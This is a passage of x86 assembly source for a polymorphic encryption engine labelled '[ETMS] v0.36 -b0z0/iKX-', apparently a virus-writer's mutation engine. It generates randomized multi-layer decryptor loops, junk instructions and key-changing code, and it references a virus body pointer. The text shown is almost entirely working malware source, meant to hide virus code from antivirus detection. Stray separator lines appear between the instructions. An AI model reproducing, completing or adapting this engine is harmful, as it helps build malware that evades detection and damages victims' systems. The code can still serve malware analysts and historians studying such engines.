mov dword ptr [esi - (offset t_chgpnt - offset w_loopbg)],edi
|
|||
|
|
|
|||
|
|
call get_random ; select if starting from head or from
|
|||
|
|
and ax,0101h ; tail and if counter will dec or inc
|
|||
|
|
mov word ptr [esi - (offset t_chgpnt - offset t_fromend)],ax
|
|||
|
|
|
|||
|
|
xchg eax,edx ; rnd in edx
|
|||
|
|
|
|||
|
|
shl edx,1 ; add a constant to counter?
|
|||
|
|
jnc normal_counter
|
|||
|
|
call get_random
|
|||
|
|
mov dword ptr [esi - (offset t_chgpnt - offset t_cntoff)],eax
|
|||
|
|
normal_counter:
|
|||
|
|
cmp byte ptr [esi - (offset t_chgpnt - offset r_pointer)],05h
|
|||
|
|
; no bp + off
|
|||
|
|
je reget_size_op
|
|||
|
|
|
|||
|
|
shl edx,1 ; select if use only pointer or
|
|||
|
|
jc reget_size_op ; pointer + offset
|
|||
|
|
call get_random ; select random offset
|
|||
|
|
mov dword ptr [esi - (offset t_chgpnt - offset t_pntoff)],eax
|
|||
|
|
; if using get offset
|
|||
|
|
reget_size_op:
|
|||
|
|
call get_random
|
|||
|
|
mov edx,eax
|
|||
|
|
and eax,0fh ; select math operation and size
|
|||
|
|
or eax,eax ; of operand
|
|||
|
|
jz reget_size_op
|
|||
|
|
|
|||
|
|
; byte word dword
|
|||
|
|
; ror 1 6 b
|
|||
|
|
; sub 2 7 c
|
|||
|
|
; xor 3 8 d
|
|||
|
|
; add 4 9 e
|
|||
|
|
; rol 5 a f
|
|||
|
|
;
|
|||
|
|
no_rorrrpr:
|
|||
|
|
cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],03
|
|||
|
|
; if not ax,cx,dx,bx then can't be byte
|
|||
|
|
jb can_use_all ; as key
|
|||
|
|
cmp al,6 ; is byte? get another
|
|||
|
|
jb reget_size_op
|
|||
|
|
|
|||
|
|
can_use_all:
|
|||
|
|
xor ecx,ecx
|
|||
|
|
mov cl,10 ;9
|
|||
|
|
cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],20h
|
|||
|
|
je no_keychanges
|
|||
|
|
|
|||
|
|
shr edx,8 ; edx has rnd
|
|||
|
|
and edx,011b
|
|||
|
|
mov byte ptr [esi - (offset t_chgpnt - offset t_chgkey)],dl
|
|||
|
|
add ecx,edx ; add nr of key changes
|
|||
|
|
|
|||
|
|
no_keychanges:
|
|||
|
|
cmp al,0bh
|
|||
|
|
jae ok_counts
|
|||
|
|
sub ecx,4d ; if with words 4 inc/dec less
|
|||
|
|
sub word ptr [esi],0202h
|
|||
|
|
cmp al,06d
|
|||
|
|
jae ok_counts
|
|||
|
|
dec ecx ; for bytes even less
|
|||
|
|
dec ecx
|
|||
|
|
sub word ptr [esi],0101h
|
|||
|
|
|
|||
|
|
ok_counts:
|
|||
|
|
push eax
|
|||
|
|
call rnd_garbage
|
|||
|
|
get_nextseq:
|
|||
|
|
call get_random_al7
|
|||
|
|
cmp al,4
|
|||
|
|
ja get_nextseq
|
|||
|
|
xchg eax,edx
|
|||
|
|
cmp byte ptr [esi+edx],0 ; need more ?
|
|||
|
|
je get_nextseq
|
|||
|
|
dec byte ptr [esi+edx]
|
|||
|
|
shl edx,2 ; offset = * 4
|
|||
|
|
sub edx,(offset t_chgpnt - offset o_table)
|
|||
|
|
pop eax
|
|||
|
|
push eax
|
|||
|
|
push ecx
|
|||
|
|
push esi
|
|||
|
|
mov ecx,dword ptr [esi+edx]
|
|||
|
|
add ecx,ebp
|
|||
|
|
call ecx ; call the routine to do it
|
|||
|
|
pop esi
|
|||
|
|
pop ecx
|
|||
|
|
pop eax
|
|||
|
|
loop ok_counts
|
|||
|
|
|
|||
|
|
; finished decryption loop, needs just the jump backwards
|
|||
|
|
call rnd_garbage
|
|||
|
|
|
|||
|
|
mov al,0e9h
|
|||
|
|
stosb
|
|||
|
|
xor eax,eax
|
|||
|
|
xchg eax,dword ptr [esi - (offset t_chgpnt - offset w_loopbg)]
|
|||
|
|
; the jump back to start of
|
|||
|
|
sub eax,04h ; the decryptor and enable
|
|||
|
|
sub eax,edi ; overwriting on loop :)
|
|||
|
|
stosd
|
|||
|
|
|
|||
|
|
call rnd_garbage
|
|||
|
|
call rnd_garbage
|
|||
|
|
|
|||
|
|
lea esi,[offset v_lenght + ebp]
|
|||
|
|
|
|||
|
|
push edi ; write the offset of the exit jump
|
|||
|
|
mov edx,dword ptr [esi - (offset v_lenght - offset t_chkpos)]
|
|||
|
|
sub edi,edx
|
|||
|
|
mov dword ptr [edx-4],edi
|
|||
|
|
pop edi
|
|||
|
|
|
|||
|
|
; now decryption loop generation is finished
|
|||
|
|
mov byte ptr [esi - (offset v_lenght - offset r_used)],10h
|
|||
|
|
; can use all regs (except ESP) again
|
|||
|
|
|
|||
|
|
call rnd_garbage ; unencrypted one, some more here
|
|||
|
|
call rnd_garbage
|
|||
|
|
|
|||
|
|
push edi
|
|||
|
|
call rnd_garbage ; encrypted garbage
|
|||
|
|
pop ecx
|
|||
|
|
neg ecx
|
|||
|
|
add ecx,edi ; how much encrypted garbage
|
|||
|
|
|
|||
|
|
mov edx,ecx
|
|||
|
|
sub edi,edx
|
|||
|
|
|
|||
|
|
add ecx,dword ptr [esi]
|
|||
|
|
|
|||
|
|
shr ecx,2 ; so it will be enough for b/w/d enc
|
|||
|
|
inc ecx
|
|||
|
|
shl ecx,2
|
|||
|
|
|
|||
|
|
movzx eax,byte ptr [esi - (offset v_lenght - offset t_prejmp)]
|
|||
|
|
add ecx,eax ; decs before cmp, so we reach equality
|
|||
|
|
|
|||
|
|
pop eax
|
|||
|
|
neg eax
|
|||
|
|
add eax,edi ; lenght of decryptor
|
|||
|
|
|
|||
|
|
add eax,edx ; total displacement for this layer
|
|||
|
|
push eax ; so we can correct mem refs
|
|||
|
|
sub eax,edx
|
|||
|
|
|
|||
|
|
add eax,dword ptr [esi - (offset v_lenght - offset v_runnin)]
|
|||
|
|
; running offset
|
|||
|
|
|
|||
|
|
push esi
|
|||
|
|
add esi,dword ptr [esi - (offset v_lenght - offset layer_nr)]
|
|||
|
|
mov ebx,dword ptr [esi - (offset v_lenght - offset enc_space) + 12]
|
|||
|
|
pop esi
|
|||
|
|
cmp byte ptr [esi - (offset v_lenght - offset t_fromend)],00h
|
|||
|
|
pushf
|
|||
|
|
je no_adding
|
|||
|
|
add eax,ecx ; from end
|
|||
|
|
no_adding:
|
|||
|
|
sub eax,dword ptr [esi - (offset v_lenght - offset t_pntoff)]
|
|||
|
|
; - pointer offset if is there
|
|||
|
|
mov dword ptr [ebx+1],eax ; set initial pointer
|
|||
|
|
|
|||
|
|
mov ebx,dword ptr [esi - (offset v_lenght - offset w_counter)]
|
|||
|
|
inc ebx
|
|||
|
|
|
|||
|
|
mov eax,dword ptr [esi - (offset v_lenght - offset t_cntoff)]
|
|||
|
|
add eax,ecx
|
|||
|
|
mov dword ptr [ebx],eax
|
|||
|
|
|
|||
|
|
cmp byte ptr [esi - (offset v_lenght - offset t_countback)],01h
|
|||
|
|
je not_negcnt
|
|||
|
|
neg dword ptr [ebx]
|
|||
|
|
|
|||
|
|
not_negcnt:
|
|||
|
|
|
|||
|
|
mov ebx,edi ; pointer on code to encrypt
|
|||
|
|
add edi,edx ; + encrypted garbage
|
|||
|
|
popf
|
|||
|
|
je no_adding2
|
|||
|
|
add ebx,ecx ; add lenght if from end
|
|||
|
|
|
|||
|
|
no_adding2:
|
|||
|
|
|
|||
|
|
; save layer data (cnt and pnt) in its entry
|
|||
|
|
push esi
|
|||
|
|
add esi,dword ptr [esi - (offset v_lenght - offset layer_nr)]
|
|||
|
|
mov dword ptr [esi - (offset v_lenght - offset enc_space) +4],ecx
|
|||
|
|
mov dword ptr [esi - (offset v_lenght - offset enc_space) +8],ebx
|
|||
|
|
pop esi
|
|||
|
|
|
|||
|
|
push esi
|
|||
|
|
mov esi,dword ptr [esi - (offset v_lenght - offset v_virusp)]
|
|||
|
|
push ecx
|
|||
|
|
sub ecx,edx
|
|||
|
|
rep movsb ; copy what to encrypt
|
|||
|
|
pop edx
|
|||
|
|
pop esi
|
|||
|
|
|
|||
|
|
pop eax ; this layer lenght to sum
|
|||
|
|
|
|||
|
|
mov ecx,dword ptr [esi - (offset v_lenght - offset layer_nr)]
|
|||
|
|
|
|||
|
|
corr_addr:
|
|||
|
|
cmp ecx,tl_space ; correct the adresses of the lower layers
|
|||
|
|
je corr_end
|
|||
|
|
add ecx,l_space
|
|||
|
|
|
|||
|
|
add [esi - (offset v_lenght - offset enc_space) + ecx + 12d],eax
|
|||
|
|
add [esi - (offset v_lenght - offset enc_space) + ecx + 8d],eax
|
|||
|
|
|
|||
|
|
mov ebx,[esi - (offset v_lenght - offset enc_space) + ecx + 12d]
|
|||
|
|
add dword ptr [ebx + 1],eax ; pointer from decryptor
|
|||
|
|
jmp corr_addr
|
|||
|
|
|
|||
|
|
corr_end:
|
|||
|
|
mov ecx,dword ptr [esi - (offset v_lenght - offset layer_end)]
|
|||
|
|
|
|||
|
|
cmp dword ptr [esi - (offset v_lenght - offset layer_nr)],ecx
|
|||
|
|
je finished_layers
|
|||
|
|
|
|||
|
|
sub dword ptr [esi - (offset v_lenght - offset layer_nr)],l_space
|
|||
|
|
|
|||
|
|
pop ecx ; initial EDI
|
|||
|
|
push ecx
|
|||
|
|
push ecx
|
|||
|
|
push ecx
|
|||
|
|
sub ecx,edi ; calculate new lenght to encrypt
|
|||
|
|
neg ecx
|
|||
|
|
pop edi
|
|||
|
|
|
|||
|
|
push ecx
|
|||
|
|
mov esi,dword ptr [esi - (offset v_lenght - offset orig_dx)]
|
|||
|
|
xchg esi,edi
|
|||
|
|
mov edx,edi
|
|||
|
|
push esi
|
|||
|
|
rep movsb ; copy to temp space and use that one
|
|||
|
|
pop edi ; as source for next layer
|
|||
|
|
mov esi,edx
|
|||
|
|
pop ecx
|
|||
|
|
jmp start_layer ; construct next encryption layer
|
|||
|
|
|
|||
|
|
finished_layers:
|
|||
|
|
|
|||
|
|
; now in reverse order
|
|||
|
|
; create each encryption layer
|
|||
|
|
mov eax,dword ptr [esi - (offset v_lenght - offset layer_end)]
|
|||
|
|
sub esi,(offset v_lenght - (offset enc_space + 10h) - tl_space)
|
|||
|
|
push edi
|
|||
|
|
enc_nl:
|
|||
|
|
|
|||
|
|
mov ecx,enc_max ; the stored regs
|
|||
|
|
lea edi,[ebp + offset enc_space_final]
|
|||
|
|
rep movsb
|
|||
|
|
pusha
|
|||
|
|
lea edi,[ebp + offset enc_space_final]
|
|||
|
|
__p2:
|
|||
|
|
cmp 4 ptr [edi-2], 0FFFFD20Bh
|
|||
|
|
jz __p1
|
|||
|
|
inc edi
|
|||
|
|
jmp __p2
|
|||
|
|
__p1: mov al, 74h
|
|||
|
|
stosb
|
|||
|
|
stosb
|
|||
|
|
lea eax, [ebp+exit_space_final]
|
|||
|
|
sub eax, edi
|
|||
|
|
mov 1 ptr [edi-1], al
|
|||
|
|
popa
|
|||
|
|
mov ecx, [esi - enc_max - 16] ; key value
|
|||
|
|
mov edx, [esi - enc_max - 12] ; counter
|
|||
|
|
mov ebx, [esi - enc_max - 8] ; pointer
|
|||
|
|
sub esi, (l_space + enc_max) ; on next layer
|
|||
|
|
|
|||
|
|
; layer chunk, most of it will be overwritten by the one in the structure
|
|||
|
|
|
|||
|
|
enc_max equ 24h
|
|||
|
|
; lenghts
|
|||
|
|
; 6 = max encryption operation
|
|||
|
|
; 4 = max 4 inc/dec counter
|
|||
|
|
; 4 = max 4 inc/dec counter
|
|||
|
|
; 3 * 6 = max 3 * 6 byte key change operations
|
|||
|
|
; 4 = check on edx + jump short
|
|||
|
|
|
|||
|
|
enc_space_final:
|
|||
|
|
db enc_max dup (90h) ; here the encryptor will be placed
|
|||
|
|
jmp enc_space_final
|
|||
|
|
exit_space_final:
|
|||
|
|
|
|||
|
|
add eax,l_space ; next layer structure
|
|||
|
|
cmp eax,(tl_space + l_space); last layer to do?
|
|||
|
|
jne enc_nl
|
|||
|
|
|
|||
|
|
ll_end:
|
|||
|
|
pop ecx ; the final edi
|
|||
|
|
pop edi ; calling edi
|
|||
|
|
sub ecx,edi ; total lenght
|
|||
|
|
ret ; poly finished
|
|||
|
|
|
|||
|
|
; - ETMS return point
|
|||
|
|
poly_name db '[ETMS] v0.36 -b0z0/iKX-'
|
|||
|
|
|
|||
|
|
put_encloop_2:
|
|||
|
|
push ecx
|
|||
|
|
xor ecx,ecx
|
|||
|
|
inc ecx
|
|||
|
|
inc ecx
|
|||
|
|
jmp short put_encloop
|
|||
|
|
put_encloop_1:
|
|||
|
|
push ecx
|
|||
|
|
xor ecx,ecx
|
|||
|
|
inc ecx
|
|||
|
|
put_encloop:
|
|||
|
|
; ecx nr of bytes
|
|||
|
|
push eax
|
|||
|
|
xchg edi,dword ptr [w_encrypt+ebp] ; in EDI where we are in enc
|
|||
|
|
; and save dec position
|
|||
|
|
copy_it:
|
|||
|
|
stosb
|
|||
|
|
shr eax,8
|
|||
|
|
loop copy_it
|
|||
|
|
xchg dword ptr [w_encrypt+ebp],edi ; save next and restore dec pnt
|
|||
|
|
pop eax
|
|||
|
|
pop ecx
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
o_table:
|
|||
|
|
o_counter dd offset ch_counter
|
|||
|
|
o_pointer dd offset ch_pointer
|
|||
|
|
o_key dd offset ch_key
|
|||
|
|
o_mate dd offset ch_mate
|
|||
|
|
o_exitjmp dd offset ch_exitjmp
|
|||
|
|
|
|||
|
|
ch_exitjmp: ; compare and exit jump for dec loop
|
|||
|
|
xor eax,eax
|
|||
|
|
inc eax
|
|||
|
|
mov ecx,dword ptr [esi - (offset t_chgpnt - offset t_cntoff)]
|
|||
|
|
or ecx,ecx
|
|||
|
|
jnz must_compare ; is + a constant ?
|
|||
|
|
|
|||
|
|
get_checker:
|
|||
|
|
call get_random
|
|||
|
|
and eax,0fh
|
|||
|
|
cmp al,09d
|
|||
|
|
ja get_checker
|
|||
|
|
must_compare:
|
|||
|
|
shr al,1
|
|||
|
|
pushf
|
|||
|
|
mov ah,byte ptr [eax + offset chk_counter + ebp] ; get comparer
|
|||
|
|
add ah,byte ptr [esi - (offset t_chgpnt - offset r_counter)]
|
|||
|
|
mov al,81h
|
|||
|
|
popf
|
|||
|
|
jc store_d00
|
|||
|
|
inc eax
|
|||
|
|
inc eax
|
|||
|
|
stosw
|
|||
|
|
xor al,al
|
|||
|
|
stosb
|
|||
|
|
jmp make_jumps
|
|||
|
|
store_d00:
|
|||
|
|
stosw
|
|||
|
|
xchg eax,ecx
|
|||
|
|
cmp byte ptr [esi - (offset t_chgpnt - offset t_countback)],01h
|
|||
|
|
je not_negcnt1
|
|||
|
|
neg eax
|
|||
|
|
not_negcnt1:
|
|||
|
|
stosd
|
|||
|
|
make_jumps:
|
|||
|
|
mov ax,840fh ; jz long
|
|||
|
|
stosw
|
|||
|
|
stosd
|
|||
|
|
mov dword ptr [esi - (offset t_chgpnt - offset t_chkpos)],edi
|
|||
|
|
done_cond:
|
|||
|
|
|
|||
|
|
xchg edi,dword ptr [esi - (offset t_chgpnt - offset w_encrypt)]
|
|||
|
|
mov ax,0d20bh
|
|||
|
|
stosw
|
|||
|
|
mov al, 0FFh ; BUG were here
|
|||
|
|
stosb
|
|||
|
|
stosb
|
|||
|
|
xchg edi,dword ptr [esi - (offset t_chgpnt - offset w_encrypt)]
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
ch_counter: ; decrement/increment counter
|
|||
|
|
cmp byte ptr [esi - (offset t_chgpnt - offset t_exitjmp)],00h
|
|||
|
|
je no_pntchgndd
|
|||
|
|
inc byte ptr [esi - (offset t_chgpnt - offset t_prejmp)]
|
|||
|
|
no_pntchgndd:
|
|||
|
|
mov ah,byte ptr [esi - (offset t_chgpnt - offset r_counter)]
|
|||
|
|
mov al,byte ptr [esi - (offset t_chgpnt - offset t_countback)]
|
|||
|
|
mov cl,0ah ; edx + always dec in encryptor
|
|||
|
|
jmp mk_incdec
|
|||
|
|
|
|||
|
|
ch_pointer: ; increment/decrement pointer
|
|||
|
|
mov ah,byte ptr [esi - (offset t_chgpnt - offset r_pointer)]
|
|||
|
|
mov al,byte ptr [esi - (offset t_chgpnt - offset t_fromend)]
|
|||
|
|
mov cl,03h ; using ebx in encryptor
|
|||
|
|
; jmp mk_incdec
|
|||
|
|
|
|||
|
|
mk_incdec:
|
|||
|
|
; al = 0 means dec, 1 means inc
|
|||
|
|
; ah = register to use
|
|||
|
|
; cl = oring for encryptor
|
|||
|
|
shl al,3
|
|||
|
|
or al,40h
|
|||
|
|
or al,ah
|
|||
|
|
push eax
|
|||
|
|
push eax ; will need this one for encryptor
|
|||
|
|
call get_random_al7 ; how enc/dec stuff ?
|
|||
|
|
shr al,1
|
|||
|
|
jnc lbl_hh
|
|||
|
|
pop eax
|
|||
|
|
jmp set_enc_id_pre ; do with inc/dec
|
|||
|
|
lbl_hh:
|
|||
|
|
shr al,1
|
|||
|
|
mov al,083h ; common prefix
|
|||
|
|
stosb
|
|||
|
|
pop eax
|
|||
|
|
jc do_with_sub
|
|||
|
|
; do with add (either +1 or +(-1))
|
|||
|
|
or ah,0c0h
|
|||
|
|
and al,8h ; was decrementing ?
|
|||
|
|
jnz use_minus1
|
|||
|
|
jmp use_plus1
|
|||
|
|
|
|||
|
|
do_with_sub:
|
|||
|
|
or ah,0e8h
|
|||
|
|
and al,08h ; was incrementing
|
|||
|
|
jz use_minus1
|
|||
|
|
|
|||
|
|
use_plus1:
|
|||
|
|
xor al,al ; 01h
|
|||
|
|
inc al
|
|||
|
|
jmp set_enc_id_pre2
|
|||
|
|
use_minus1:
|
|||
|
|
xor al,al ; 0ffh
|
|||
|
|
dec al
|
|||
|
|
set_enc_id_pre2:
|
|||
|
|
xchg ah,al
|
|||
|
|
stosb
|
|||
|
|
xchg ah,al
|
|||
|
|
set_enc_id_pre:
|
|||
|
|
stosb
|
|||
|
|
set_enc_id:
|
|||
|
|
pop eax
|
|||
|
|
and al,(NOT 0111b)
|
|||
|
|
or al,cl
|
|||
|
|
jmp put_encloop_1 ; put in encryptor and go away
|
|||
|
|
|
|||
|
|
ch_key: ; change key register
|
|||
|
|
cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],20h
|
|||
|
|
je exit_keychange
|
|||
|
|
get_modifier:
|
|||
|
|
call get_random_al7
|
|||
|
|
mov cl,al
|
|||
|
|
mov ah,byte ptr [eax + offset key_changers + ebp]
|
|||
|
|
mov al,81h ; add/sub/xor base
|
|||
|
|
|
|||
|
|
cmp cl,3
|
|||
|
|
jb no_rrrr
|
|||
|
|
mov al,0c1h ; rol/ror base
|
|||
|
|
|
|||
|
|
cmp cl,5
|
|||
|
|
jne no_rrrr
|
|||
|
|
mov al,0f7h
|
|||
|
|
|
|||
|
|
no_rrrr:
|
|||
|
|
push eax
|
|||
|
|
reget_ksize:
|
|||
|
|
call get_random ; select if byte/word/dword
|
|||
|
|
and al,011b
|
|||
|
|
jz reget_ksize
|
|||
|
|
cmp cl,05h ; inc dec just on dw and dd
|
|||
|
|
jbe isntincdec
|
|||
|
|
cmp al,01h
|
|||
|
|
je reget_ksize
|
|||
|
|
isntincdec:
|
|||
|
|
cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],3
|
|||
|
|
jbe canall
|
|||
|
|
cmp al,01b ; byte keychange only for ax,cx,dx,bx
|
|||
|
|
je reget_ksize
|
|||
|
|
canall:
|
|||
|
|
mov ch,al
|
|||
|
|
mov dl,ah ; random stuff
|
|||
|
|
pop eax
|
|||
|
|
cmp ch,01h
|
|||
|
|
jne no_decbyte
|
|||
|
|
dec al
|
|||
|
|
shr dl,1
|
|||
|
|
jc no_decbyte
|
|||
|
|
add ah,04h ; work on high byte
|
|||
|
|
no_decbyte:
|
|||
|
|
cmp ch,02h
|
|||
|
|
jne no_wordprefix
|
|||
|
|
push eax
|
|||
|
|
mov al,66h
|
|||
|
|
stosb
|
|||
|
|
call put_encloop_1
|
|||
|
|
pop eax
|
|||
|
|
no_wordprefix:
|
|||
|
|
cmp cl,06h
|
|||
|
|
pushf
|
|||
|
|
jb no_incdecch ; inc/dec has just one byte opcode
|
|||
|
|
dec edi
|
|||
|
|
mov al,byte ptr [edi]
|
|||
|
|
no_incdecch:
|
|||
|
|
popf
|
|||
|
|
push eax
|
|||
|
|
jb no_nopneeded
|
|||
|
|
mov al,ah
|
|||
|
|
or al,1 ; ecx key in enc loop
|
|||
|
|
call put_encloop_1 ; for inc/dec
|
|||
|
|
jmp short after_store
|
|||
|
|
no_nopneeded:
|
|||
|
|
or ah,1 ; key is ECX in enc loop
|
|||
|
|
call put_encloop_2
|
|||
|
|
after_store:
|
|||
|
|
pop eax
|
|||
|
|
or ah,byte ptr [esi - (offset t_chgpnt - offset r_regkey)]
|
|||
|
|
stosw
|
|||
|
|
cmp cl,05 ; inc/dec/not doesn't need any key
|
|||
|
|
jae exit_keychange
|
|||
|
|
call get_random
|
|||
|
|
cmp cl,03
|
|||
|
|
jae just_one_bk ; ror/rol just one byte key
|
|||
|
|
cmp ch,01h
|
|||
|
|
je just_one_bk ; check dimension of key modifier
|
|||
|
|
stosb
|
|||
|
|
call put_encloop_1
|
|||
|
|
shr eax,8h
|
|||
|
|
cmp ch,02h
|
|||
|
|
je just_one_bk
|
|||
|
|
stosw
|
|||
|
|
call put_encloop_2
|
|||
|
|
shr eax,10h
|
|||
|
|
just_one_bk:
|
|||
|
|
stosb
|
|||
|
|
call put_encloop_1
|
|||
|
|
exit_keychange:
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
ch_mate: ; creates the decryption math operation
|
|||
|
|
|
|||
|
|
xor edx,edx
|
|||
|
|
mov ecx,5h
|
|||
|
|
type_sel:
|
|||
|
|
cmp eax,ecx
|
|||
|
|
jbe ok_regs
|
|||
|
|
inc edx
|
|||
|
|
sub eax,ecx
|
|||
|
|
jmp type_sel ; get type and size.. in EDX size, in EAX type
|
|||
|
|
; edx = 0 for byte, 1 for word, 2 for dword
|
|||
|
|
|
|||
|
|
ok_regs:
|
|||
|
|
cmp byte ptr [esi - (offset t_chgpnt - offset r_regkey)],20h
|
|||
|
|
lea esi,[offset _math_imm + ebp]
|
|||
|
|
je without_key
|
|||
|
|
add esi,(offset _math_key - offset _math_imm)
|
|||
|
|
without_key:
|
|||
|
|
dec eax ; type - 1
|
|||
|
|
push esi
|
|||
|
|
push eax
|
|||
|
|
shl eax,1 ; each type is a word
|
|||
|
|
add esi,eax
|
|||
|
|
lodsw ; ax = mathop word
|
|||
|
|
|
|||
|
|
cmp dl,1
|
|||
|
|
jne not_word
|
|||
|
|
push eax
|
|||
|
|
mov al,066h
|
|||
|
|
stosb
|
|||
|
|
call put_encloop_1
|
|||
|
|
pop eax
|
|||
|
|
not_word:
|
|||
|
|
or dl,dl
|
|||
|
|
jnz not_byte
|
|||
|
|
dec al
|
|||
|
|
not_byte:
|
|||
|
|
pop ebx ; type - 1
|
|||
|
|
pop esi ;
|
|||
|
|
|
|||
|
|
push ebx
|
|||
|
|
|
|||
|
|
push eax
|
|||
|
|
neg ebx
|
|||
|
|
add ebx,4 ; get opposite math operation
|
|||
|
|
shl ebx,1
|
|||
|
|
add esi,ebx
|
|||
|
|
lodsw
|
|||
|
|
|
|||
|
|
lea esi,[offset r_regkey + ebp]
|
|||
|
|
cmp byte ptr [esi],20h
|
|||
|
|
je ok_regskey
|
|||
|
|
cmp al,0d3h
|
|||
|
|
je ok_regskey
|
|||
|
|
add ah,08h ; since ECX is used as key
|
|||
|
|
ok_regskey:
|
|||
|
|
or dl,dl
|
|||
|
|
jnz not_byterev
|
|||
|
|
dec al
|
|||
|
|
not_byterev:
|
|||
|
|
add ah,03h ; in enc loop using EBX
|
|||
|
|
call put_encloop_2
|
|||
|
|
pop eax
|
|||
|
|
|
|||
|
|
mov cl,byte ptr [esi - (offset r_regkey - offset r_pointer)]
|
|||
|
|
cmp cl,03h ; eax-ebx
|
|||
|
|
ja upper_ones
|
|||
|
|
add ah,cl
|
|||
|
|
jmp ok_register_p
|
|||
|
|
upper_ones:
|
|||
|
|
add ah,06h
|
|||
|
|
cmp cl,06h ; esi
|
|||
|
|
je ok_register_p
|
|||
|
|
inc ah
|
|||
|
|
cmp cl,07h ; edi
|
|||
|
|
je ok_register_p
|
|||
|
|
add ah,03eh ; ebp
|
|||
|
|
ok_register_p:
|
|||
|
|
|
|||
|
|
pop ecx ; type-1
|
|||
|
|
|
|||
|
|
cmp dword ptr [esi - (offset r_regkey - offset t_pntoff)],0
|
|||
|
|
je not_plusoff
|
|||
|
|
add ah,80h
|
|||
|
|
not_plusoff:
|
|||
|
|
stosw
|
|||
|
|
|
|||
|
|
xor eax,eax
|
|||
|
|
|
|||
|
|
cmp byte ptr [esi],20h ; using key?
|
|||
|
|
je ok_register_k
|
|||
|
|
|
|||
|
|
or cl,cl
|
|||
|
|
je check_rr
|
|||
|
|
cmp cl,4
|
|||
|
|
jne not_rol_ror
|
|||
|
|
check_rr:
|
|||
|
|
cmp byte ptr [esi],1 ; is key CX (cl)
|
|||
|
|
je ok_register_k
|
|||
|
|
mov al,10h ; if not put just immediate
|
|||
|
|
sub byte ptr [edi-2],12h
|
|||
|
|
|
|||
|
|
mov ebx,dword ptr [esi - (offset r_regkey - offset w_encrypt)]
|
|||
|
|
sub byte ptr [ebx-2],12h
|
|||
|
|
|
|||
|
|
push ecx
|
|||
|
|
mov bl,20h
|
|||
|
|
xchg bl,byte ptr [esi] ; won't use key reg anymore in the
|
|||
|
|
call unset_used ; future, so use for garbage
|
|||
|
|
pop ecx
|
|||
|
|
jmp short ok_register_k
|
|||
|
|
|
|||
|
|
not_rol_ror:
|
|||
|
|
mov al,byte ptr [esi]
|
|||
|
|
shl eax,3 ; * 8
|
|||
|
|
add byte ptr [edi-1],al ; key register
|
|||
|
|
|
|||
|
|
ok_register_k:
|
|||
|
|
cmp byte ptr [esi - (offset r_regkey - offset r_pointer)],05h
|
|||
|
|
jne not_usingbp
|
|||
|
|
mov byte ptr [edi],00h
|
|||
|
|
inc edi
|
|||
|
|
not_usingbp:
|
|||
|
|
|
|||
|
|
mov eax,dword ptr [esi - (offset r_regkey - offset t_pntoff)]
|
|||
|
|
or eax,eax
|
|||
|
|
jz no_offsetadd
|
|||
|
|
stosd
|
|||
|
|
no_offsetadd:
|
|||
|
|
cmp byte ptr [esi],20h
|
|||
|
|
jne no_key_needed
|
|||
|
|
|
|||
|
|
push esi
|
|||
|
|
add esi,dword ptr [esi - (offset r_regkey - offset layer_nr)]
|
|||
|
|
mov eax,dword ptr [esi - (offset r_regkey - offset enc_space)]
|
|||
|
|
pop esi
|
|||
|
|
or cl,cl
|
|||
|
|
je byte_key
|
|||
|
|
cmp cl,4
|
|||
|
|
je byte_key
|
|||
|
|
or dl,dl
|
|||
|
|
je byte_key
|
|||
|
|
|
|||
|
|
stosb
|
|||
|
|
call put_encloop_1
|
|||
|
|
|
|||
|
|
shr eax,8
|
|||
|
|
dec dl
|
|||
|
|
jz byte_key
|
|||
|
|
stosw
|
|||
|
|
call put_encloop_2
|
|||
|
|
shr eax,10h
|
|||
|
|
byte_key:
|
|||
|
|
stosb
|
|||
|
|
call put_encloop_1
|
|||
|
|
|
|||
|
|
no_key_needed:
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
rnd_garbage:
|
|||
|
|
push ecx
|
|||
|
|
push eax
|
|||
|
|
call get_random
|
|||
|
|
and eax,0fh ; max - 1
|
|||
|
|
inc eax ; not zero
|
|||
|
|
xchg eax,ecx
|
|||
|
|
|
|||
|
|
garbager:
|
|||
|
|
; ecx how many
|
|||
|
|
push edx
|
|||
|
|
push ebx
|
|||
|
|
garbager_loop:
|
|||
|
|
push ecx
|
|||
|
|
get_op_type:
|
|||
|
|
call get_random ; how many possible types
|
|||
|
|
and eax,garbage_mask
|
|||
|
|
cmp eax,garbage_number
|
|||
|
|
ja get_op_type
|
|||
|
|
|
|||
|
|
mov ecx,[(eax*4)+offset garbage_offsets+ebp]
|
|||
|
|
add ecx,ebp
|
|||
|
|
call ecx ; call garbage routine
|
|||
|
|
pop ecx
|
|||
|
|
loop garbager_loop
|
|||
|
|
|
|||
|
|
mov eax,dword ptr [t_pushed+ebp]
|
|||
|
|
|
|||
|
|
cmp eax,000005h ; if not in a call, not in a jump and
|
|||
|
|
ja stack_is_ok ; pushed <=5
|
|||
|
|
|
|||
|
|
or eax,eax
|
|||
|
|
jz stack_is_ok
|
|||
|
|
|
|||
|
|
inc byte ptr [t_inacall+ebp]
|
|||
|
|
|
|||
|
|
cmp al,01h
|
|||
|
|
ja direct_addesp
|
|||
|
|
call do_pop_nocheck
|
|||
|
|
jmp stack_is_ok
|
|||
|
|
|
|||
|
|
direct_addesp:
|
|||
|
|
push eax ; then correct stack
|
|||
|
|
mov ax,0c483h ; add esp,nr_dd * 4
|
|||
|
|
stosw
|
|||
|
|
pop eax
|
|||
|
|
call force_popall
|
|||
|
|
stack_is_ok:
|
|||
|
|
pop ebx
|
|||
|
|
pop edx
|
|||
|
|
|
|||
|
|
pop eax
|
|||
|
|
pop ecx
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
do_push:
|
|||
|
|
cmp byte ptr [t_pushed+ebp],05h ; max dwords on the stack
|
|||
|
|
ja exit_pusher
|
|||
|
|
inc byte ptr [t_pushed+ebp]
|
|||
|
|
call get_random ; 4 types of pushing
|
|||
|
|
and al,011b
|
|||
|
|
jz push_register ; normal push reg
|
|||
|
|
dec al
|
|||
|
|
jz push_immediate_dd ; push immediate double
|
|||
|
|
dec al
|
|||
|
|
jz push_immediate_by ; push immediate byte
|
|||
|
|
|
|||
|
|
mov ax,35ffh ; push immediate from memory
|
|||
|
